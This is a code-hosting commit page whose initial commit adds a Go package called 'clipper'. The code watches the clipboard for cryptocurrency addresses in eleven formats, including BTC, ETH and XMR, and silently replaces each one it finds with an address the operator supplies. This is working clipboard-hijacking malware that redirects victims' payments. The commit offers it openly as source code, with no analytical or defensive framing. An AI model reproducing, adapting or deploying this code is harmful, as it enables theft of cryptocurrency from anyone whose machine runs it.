initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,34 @@
|
||||
package clipper
|
||||
|
||||
import (
|
||||
"context"
|
||||
"golang.design/x/clipboard"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// Run watches the clipboard for cryptocurrency addresses and replaces them with the given address.
|
||||
// The supported cryptocurrencies are BTC, BCH, ETH, XMR, LTC, XCH, XLM, TRX, ADA, DASH, and DOGE.
|
||||
func Run(cryptos map[string]string) {
|
||||
var regexs = map[string]*regexp.Regexp{
|
||||
"BTC": regexp.MustCompile("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"),
|
||||
"BCH": regexp.MustCompile("^((bitcoincash:)?(q|p)[a-z0-9]{41})"),
|
||||
"ETH": regexp.MustCompile("^0x[a-fA-F0-9]{40}$"),
|
||||
"XMR": regexp.MustCompile("^4([0-9]|[A-B])(.){93}$"),
|
||||
"LTC": regexp.MustCompile("^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"),
|
||||
"XCH": regexp.MustCompile("^xch1[a-zA-HJ-NP-Z0-9]{58}$"),
|
||||
"XLM": regexp.MustCompile("^G[0-9a-zA-Z]{55}$"),
|
||||
"TRX": regexp.MustCompile("^T[A-Za-z1-9]{33}$"),
|
||||
"ADA": regexp.MustCompile("addr1[a-z0-9]+"),
|
||||
"DASH": regexp.MustCompile("^X[1-9A-HJ-NP-Za-km-z]{33}$"),
|
||||
"DOGE": regexp.MustCompile("^(D|A|9)[a-km-zA-HJ-NP-Z1-9]{33}$"),
|
||||
}
|
||||
|
||||
|
||||
for data := range clipboard.Watch(context.TODO(), clipboard.FmtText) {
|
||||
for crypto, regex := range regexs {
|
||||
if regex.Match(data) && regex.MatchString(cryptos[crypto]) {
|
||||
clipboard.Write(clipboard.FmtText, []byte(cryptos[crypto]))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user